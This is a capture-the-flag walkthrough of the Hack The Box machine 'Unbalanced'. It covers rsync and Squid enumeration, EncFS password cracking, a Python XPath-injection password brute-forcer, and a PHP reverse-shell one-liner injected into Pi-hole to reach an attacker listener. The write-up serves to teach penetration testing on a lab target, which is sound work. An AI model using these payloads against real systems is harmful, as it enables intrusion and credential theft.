Hack The Box - Unbalanced


Link: https://www.hackthebox.eu/home/machines/profile/268

Let’s Begin with our Initial Nmap Scan.

Nmap Scan Results

22/tcp   open  ssh        OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 a2:76:5c:b0:88:6f:9e:62:e8:83:51:e7:cf:bf:2d:f2 (RSA)
|   256 d0:65:fb:f6:3e:11:b1:d6:e6:f7:5e:c0:15:0c:0a:77 (ECDSA)
|_  256 5e:2b:93:59:1d:49:28:8d:43:2c:c1:f7:e3:37:0f:83 (ED25519)
873/tcp  open  rsync      (protocol version 31)
3128/tcp open  http-proxy Squid http proxy 4.6
|_http-server-header: squid/4.6
|_http-title: ERROR: The requested URL could not be retrieved
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 2.6.32 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 3.1 - 3.2 (92%), Linux 3.11 (92%), Linux 3.2 - 4.9 (92%), Linux 3.5 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
1   259.86 ms
2   259.99 ms

Squid Proxy

There was a squid proxy running on port 3128 which was somehow confusing in the initial to start with since we didn’t have anything to do with any kind of HTTP service this made a squid proxy and bit suspicious in the first encounter but later in the journey we found out the use of this was more than it meets the eye.


Added the Proxy in my FoxyProxy.


Now We Getting Access Denied.


There is nothing here, so Let’s move on to another Port.

Rsync Enumeration

What is rsync?

Rsync, or Remote Sync, is a free command-line tool that lets you transfer files and directories to local and remote destinations. Rsync is used for mirroring, performing backups, or migrating data to other servers.


With the use rsync utility tool, I listed the files available for access to us and found out that conf_backups folder is public and require no authentication.

root@kali:~/CTF/HTB/Boxes/Unbalanced# rsync -av --list-only rsync://
conf_backups   	EncFS-encrypted configuration backups

The conf_backups was encrypted by EncFS which is used to encrypt files.

EncFS is a Free (LGPL) FUSE-based cryptographic filesystem. It transparently encrypts files, using an arbitrary directory as storage for the encrypted files. … Files are encrypted using a volume key, which is stored either within or outside the encrypted source directory. A password is used to decrypt this key.

rsync allow us to copy the whole file from conf_backups folder to our system.

root@kali:~/CTF/HTB/Boxes/Unbalanced# rsync -av rsync:// ./conf_backups/
receiving incremental file list

sent 1,452 bytes  received 411,990 bytes  23,625.26 bytes/sec
total size is 405,603  speedup is 0.98

Since the files were encrypted it wasn’t any good and know it was time for research, using this I found that in order to decrypt the files encrypted with EncFS we need an .encfs6.xml file which will the important and the file is needed for the decryption of files if we had correct password. We can extract those files to our machine. While checking those files it missing one .encfs6.xml, don’t know why so I just downloaded that again.

Note: Doing a full copy of conf_backups with rysnc didn’t copied the encfs6.xml so we had to do it seperately.

root@kali:~/CTF/HTB/Boxes/Unbalanced# rsync rsync:// .
root@kali:~/CTF/HTB/Boxes/Unbalanced# cat .encfs6.xml 
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE boost_serialization>
<boost_serialization signature="serialization::archive" version="7">
    <cfg class_id="0" tracking_level="0" version="20">
        <creator>EncFS 1.9.5</creator>
        <cipherAlg class_id="1" tracking_level="0" version="0">

We need a correct password to decrypt the files, I found this blog which had a section on how to use the JTR to crack the password of the EncFS directory. So we can use encfs2john.py to get the exact hash, in order to crack the hash we need to have .encfs6.xml file which we already acquired previously so I move that to the conf_backups folder where I store all the encrypted files.

root@kali:~/CTF/HTB/Boxes/Unbalanced# /usr/share/john/encfs2john.py conf_backups/
conf_backups/ doesn't have .encfs6.xml!
root@kali:~/CTF/HTB/Boxes/Unbalanced# cp .encfs6.xml conf_backups/
root@kali:~/CTF/HTB/Boxes/Unbalanced# /usr/share/john/encfs2john.py conf_backups/
root@kali:~/CTF/HTB/Boxes/Unbalanced# john --show hash 

1 password hash cracked, 0 left

Using JTR, we got the password bubblegum. Now we needed to mount the encryption and decryption folder. I move to root directory for that, for some reason it doesn’t work on other directories.

I created 2 folders enc ( encrypted ) and dec ( decrypted ). I moved all the downloaded files to enc directory and also .encfs6.xml and now using encfs I get decrypted those file in dec directory. It asks me for the password and we already got that from bubblegum.

root@kali:~# mkdir enc
root@kali:~# mkdir dec
root@kali:~# cp ~/CTF/HTB/Boxes/Unbalanced/.encfs6.xml enc/
root@kali:~# cp ~/CTF/HTB/Boxes/Unbalanced/conf_backups/* enc/
root@kali:~# encfs ~/enc/ ~/dec/
EncFS Password:

We decrypted the files successfully, somehow the decrypted files seemed to be the configurations files from /etc directory(probably?).

root@kali:~/dec# ls 
50-localauthority.conf              hdparm.conf                      parser.conf
50-nullbackend.conf                 host.conf                        protect-links.conf
51-debian-sudo.conf                 initramfs.conf                   reportbug.conf
70debconf                           input.conf                       resolv.conf
99-sysctl.conf                      journald.conf                    resolved.conf
access.conf                         kernel-img.conf                  rsyncd.conf
adduser.conf                        ldap.conf                        rsyslog.conf
bluetooth.conf                      ld.so.conf                       semanage.conf
ca-certificates.conf                libaudit.conf                    sepermit.conf
com.ubuntu.SoftwareProperties.conf  libc.conf                        sleep.conf
dconf                               limits.conf                      squid.conf
debconf.conf                        listchanges.conf                 sysctl.conf
debian.conf                         logind.conf                      system.conf
deluser.conf                        logrotate.conf                   time.conf
dhclient.conf                       main.conf                        timesyncd.conf
discover-modprobe.conf              mke2fs.conf                      ucf.conf
dkms.conf                           modules.conf                     udev.conf
dns.conf                            namespace.conf                   update-initramfs.conf
dnsmasq.conf                        network.conf                     user.conf
docker.conf                         networkd.conf                    user-dirs.conf
fakeroot-x86_64-linux-gnu.conf      nsswitch.conf                    Vendor.conf
framework.conf                      org.freedesktop.PackageKit.conf  wpa_supplicant.conf
fuse.conf                           PackageKit.conf                  x86_64-linux-gnu.conf
gai.conf                            pam.conf                         xattr.conf
group.conf                          pam_env.conf

There was a squid.conf which is a file for squid proxy configurations. Let’s look at this. The decrypted files were large in numbers and have lot of contents and these are some good stuffs.

First thing I got is new SubDomain.


We Have some sort of password.


Although the file had lots of blank lines which was hard to keep a track of, I just grep lines which doesn’t have #

root@kali:~/dec# cat squid.conf | grep -v '#' | grep .
acl SSL_ports port 443
http_access deny !Safe_ports
http_access deny CONNECT !SSL_ports
http_access allow manager
include /etc/squid/conf.d/*
http_access allow localhost
acl intranet dstdomain -n intranet.unbalanced.htb
acl intranet_net dst -n
http_access allow intranet
http_access allow intranet_net
http_access deny all
http_port 3128
coredump_dir /var/spool/squid
refresh_pattern ^ftp:		1440	20%	10080
refresh_pattern ^gopher:	1440	0%	1440
refresh_pattern -i (/cgi-bin/|\?) 0	0%	0
refresh_pattern .		0	20%	4320
cachemgr_passwd Thah$Sh1 menu pconn mem diskd fqdncache filedescriptors objects vm_objects counters 5min 60min histograms cbdata sbuf events
cachemgr_passwd disable all
cache disable

From squid_conf gave us two specific information along with other reasons why we couldn’t access some service, that happened beacuse of Squid’s ACL option as we can see it declines any HTTP request except it was either from localhost or intranet. We also found that Thah$Ssh1 is the password of the squid cache management service.

Before getting into that, I Checked the subdomain we got and its a login page, Tried some default credentials and non worked so let’s move on.



Now it started to make sense on how things are distributed along and how one thing is connected to other. As we discovered that there is a cache management service and we had authentication password for this I thought of checking it too since this was All Hands on the Deck situation as no significant progress could be seen.

Using the squidclient utility I learned about from the above references, I tend to check it by:-

root@kali:~/CTF/HTB/Boxes/Unbalanced# squidclient -h -p 3128 -w 'Thah$Sh1' mgr:menu
HTTP/1.1 200 OK
Server: squid/4.6
Mime-Version: 1.0
Date: Sun, 02 Aug 2020 16:26:35 GMT
Content-Type: text/plain;charset=utf-8
Expires: Sun, 02 Aug 2020 16:26:35 GMT
Last-Modified: Sun, 02 Aug 2020 16:26:35 GMT
X-Cache: MISS from unbalanced
X-Cache-Lookup: MISS from unbalanced:3128
Via: 1.1 unbalanced (squid/4.6)
Connection: close

 index                 	Cache Manager Interface         	disabled
 menu                  	Cache Manager Menu              	protected
 offline_toggle        	Toggle offline_mode setting     	disabled
 shutdown              	Shut Down the Squid Process     	disabled
 reconfigure           	Reconfigure Squid               	disabled
 rotate                	Rotate Squid Logs               	disabled
 pconn                 	Persistent Connection Utilization Histograms	protected
 mem                   	Memory Utilization              	protected
 diskd                 	DISKD Stats                     	protected
 squidaio_counts       	Async IO Function Counters      	disabled
 config                	Current Squid Configuration     	disabled
 client_list           	Cache Client List               	disabled
 comm_epoll_incoming   	comm_incoming() stats           	disabled
 ipcache               	IP Cache Stats and Contents     	disabled
 fqdncache             	FQDN Cache Stats and Contents   	protected
 idns                  	Internal DNS Statistics         	disabled
 redirector            	URL Redirector Stats            	disabled
 store_id              	StoreId helper Stats            	disabled
 external_acl          	External ACL stats              	disabled
 http_headers          	HTTP Header Statistics          	disabled
 info                  	General Runtime Information     	disabled
 service_times         	Service Times (Percentiles)     	disabled
 filedescriptors       	Process Filedescriptor Allocation	protected
 objects               	All Cache Objects               	protected
 vm_objects            	In-Memory and In-Transit Objects	protected
 io                    	Server-side network read() size histograms	disabled
 counters              	Traffic and Resource Counters   	protected
 peer_select           	Peer Selection Algorithms       	disabled
 digest_stats          	Cache Digest and ICP blob       	disabled
 5min                  	5 Minute Average of Counters    	protected
 60min                 	60 Minute Average of Counters   	protected
 utilization           	Cache Utilization               	disabled
 histograms            	Full Histogram Counts           	protected
 active_requests       	Client-side Active Requests     	disabled
 username_cache        	Active Cached Usernames         	disabled
 openfd_objects        	Objects with Swapout files open 	disabled
 store_digest          	Store Digest                    	disabled
 store_log_tags        	Histogram of store.log tags     	disabled
 storedir              	Store Directory Stats           	disabled
 store_io              	Store IO Interface Stats        	disabled
 store_check_cachable_stats	storeCheckCachable() Stats      	disabled
 refresh               	Refresh Algorithm Statistics    	disabled
 delay                 	Delay Pool Levels               	disabled
 forward               	Request Forwarding Statistics   	disabled
 cbdata                	Callback Data Registry Contents 	protected
 sbuf                  	String-Buffer statistics        	protected
 events                	Event Queue                     	protected
 netdb                 	Network Measurement Database    	disabled
 asndb                 	AS Number Database              	disabled
 carp                  	CARP information                	disabled
 userhash              	peer userhash information       	disabled
 sourcehash            	peer sourcehash information     	disabled
 server_list           	Peer Cache Statistics           	disabled

We find the above informations could be retrieved but some of the above options were disabled, as going through the squid documentation I found that fqdncache can be used to view the DNS cache of the squid server and it contains the host to IP address mapping of the services accessible by squid.

root@kali:~/CTF/HTB/Boxes/Unbalanced# squidclient -h -p 3128 -w 'Thah$Sh1' mgr:fqdncache
HTTP/1.1 200 OK
Server: squid/4.6
Mime-Version: 1.0
Date: Sun, 02 Aug 2020 16:27:26 GMT
Content-Type: text/plain;charset=utf-8
Expires: Sun, 02 Aug 2020 16:27:26 GMT
Last-Modified: Sun, 02 Aug 2020 16:27:26 GMT
X-Cache: MISS from unbalanced
X-Cache-Lookup: MISS from unbalanced:3128
Via: 1.1 unbalanced (squid/4.6)
Connection: close

FQDN Cache Statistics:
FQDNcache Entries In Use: 13
FQDNcache Entries Cached: 12
FQDNcache Requests: 378231
FQDNcache Hits: 0
FQDNcache Negative Hits: 223623
FQDNcache Misses: 154608
FQDN Cache Contents:

Address                                       Flg TTL Cnt Hostnames                                    N  035   0                                     N  045   0                                       H -001   2 unbalanced.htb unbalanced
::1                                             H -001   3 localhost ip6-localhost ip6-loopback                                    H -001   1 intranet-host2.unbalanced.htb                                    H -001   1 intranet-host3.unbalanced.htb                                   N  -8449   0                                       H -001   1 localhost                                      H -001   1 intranet.unbalanced.htb
ff02::1                                         H -001   1 ip6-allnodes
ff02::2                                         H -001   1 ip6-allrouters                                    N  -28240   0

With this we found that there are number of different range of hostname and there were some IPs starting with 172.*.*.* which was suspicious as from experience it looks like docker instance IP address. Accessing the URL as part of my enumeration added them in /etc/hosts and I found the same authentication as before.


This time I tried Sqli using Basic Authentication Bypass. Make sure you set upstream Proxy in Burp.


Here I got a payload with different length so let’s send to repeater and check what’s there.


We got some Users, their roles and mail address.


I check that in website too.


It seems SQL Injection but its not.

Getting User Shell

After some enumeration I came to know its X-Path Injection.



Using substring we can bruteforce the Passwords.

I just made a quick Bruteforce which will find the password for us. I used user bryan because he is the System Administrator.

import requests

junk= ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','!','@',"#","$","%","&","_","-","1","2","3","4","5","6","7","8","9","0"]

def payload(password):
	data = {"Username":"bryan","Password":"{}' and Username='bryan".format(password)}
	r = requests.post('', data=data, proxies={ "http": "" })
	return r.text.find("Bryan") != -1

while True:
	for x in junk:
		if payload("' or substring(Password,{},1)='{}".format(i,x)):
			print("> ",trash)

Since it was a long shot, to my surprise it worked and gave the password of the user bryan.

root@kali:~/CTF/HTB/Boxes/Unbalanced# python3 pass_grabber.py 
>  i
>  ir
>  ire
>  irea
>  ireal
>  ireall
>  ireally
>  ireallyl
>  ireallyl0
>  ireallyl0v
>  ireallyl0ve
>  ireallyl0veb
>  ireallyl0vebu
>  ireallyl0vebub
>  ireallyl0vebubb
>  ireallyl0vebubbl
>  ireallyl0vebubble
>  ireallyl0vebubbleg
>  ireallyl0vebubblegu
>  ireallyl0vebubblegum
>  ireallyl0vebubblegum!
>  ireallyl0vebubblegum!!
>  ireallyl0vebubblegum!!!

The recovered password was ireallyl0vebubblegum!!!, now since we had a password and a user I can now try to login on ssh service.


Privilege Escalation

After logging in via ssh, we can now read the user.txt. We also had a uncommon file named TODO which looked like the journal entry for the service the author has been deploying.

bryan@unbalanced:~$ cat TODO 
# Intranet #
* Install new intranet-host3 docker [DONE]
* Rewrite the intranet-host3 code to fix Xpath vulnerability [DONE]
* Test intranet-host3 [DONE]
* Add intranet-host3 to load balancer [DONE]
* Take down intranet-host1 and intranet-host2 from load balancer (set as quiescent, weight zero) [DONE]
* Fix intranet-host2 [DONE]
* Re-add intranet-host2 to load balancer (set default weight) [DONE]
- Fix intranet-host1 [TODO]
- Re-add intranet-host1 to load balancer (set default weight) [TODO]

# Pi-hole #
* Install Pi-hole docker (only listening on [DONE]
* Set temporary admin password [DONE]
* Create Pi-hole configuration script [IN PROGRESS]
- Run Pi-hole configuration script [TODO]
- Expose Pi-hole ports to the network [TODO]

As we did the Intranet part from the TODO, without any second thought moved to the Pi-Hole part.

There was not much of an information from the LinEnum or my own enumeration, so I started to check the services running on localhost and as mentioned in the TODO the pi-hole services were running on localhost. And it is running on port 8080 I guess.


Since there wasn’t any way to access the pi-hole service except the option of portforwarding, I used the ssh to portforward the service running on the port 8080.


When visiting the page it throws me some error. So I started googling about the error.



Here he mention he tried /admin and that helped him fixed the problem and I added /admin and it worked, we got the Pi-hole dashboard.


There is a way to login and we got the password already from TODO which is admin.

  • admin was the password for pi-hole service.


And Im logged in. At the bottom of the page it reveals the version of Pi-Hole, so I started searching for any exploits available for it.


Here is the Blog Post, which helped me throughout in understanding on how we can get the reverse shell.

Although, in order for this to worked out we can do that by providing a reverse shell payload in php and too had to be hex encoded such that it can be parsed without any issue as stated in the blog post.

The biggest difficulty in exploiting this vulnerability is that the user input is capitalized through a call to “strtoupper”. Because of this, no lower case character can be used in the resulting injection. So we cant just run the payload normally. First I checked with sending aaaaaaaaaaaaa$PATH and here see, we got the output and also the a’s are capitalized.


So I just created a payload that gives me reverse shell.

aaaaaaaaaaaa&&php -r '$sock=fsockopen("",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Using CyberChef, I just encoded to HEX.


With the example given in the Blog post, I created my payload.


I just Injected my payload in MAC Address and By clicking ( + ), They payload got triggered.


And I got reverse shell in my netcat listener.


As there was not much to check in the docker I quicky started checking the suspicious folder but nothing came. As a force of habit I tried to see if /root is accessible which to my surprise was, and doing so we had following files:-

# cd /root
# ls -la
total 132
drwxrwxr-x 1 root root   4096 Apr  5 20:19 .
drwxr-xr-x 1 root root   4096 Jul 30 05:13 ..
lrwxrwxrwx 1 root root      9 Apr  4 11:41 .bash_history -> /dev/null
-rw-r--r-- 1 root root    570 Jan 31  2010 .bashrc
-rw-r--r-- 1 root root    148 Aug 17  2015 .profile
-rw-r--r-- 1 root root 113876 Sep 20  2019 ph_install.sh
-rw-r--r-- 1 root root    485 Apr  6 07:28 pihole_config.sh
# cat pihole_config.sh

# Add domains to whitelist
/usr/local/bin/pihole -w unbalanced.htb
/usr/local/bin/pihole -w rebalanced.htb

# Set temperature unit to Celsius
/usr/local/bin/pihole -a -c

# Add local host record
/usr/local/bin/pihole -a hostrecord pihole.unbalanced.htb

# Set privacy level
/usr/local/bin/pihole -a -l 4

# Set web admin interface password
/usr/local/bin/pihole -a -p 'bUbBl3gUm$43v3Ry0n3!'

# Set admin email
/usr/local/bin/pihole -a email admin@unbalanced.htb

We get the another password and a bunch of other pi-hole config values. Like always, I started testing the password in ssh, Failed and I did su from user bryan and Im root.


We Own the Box!!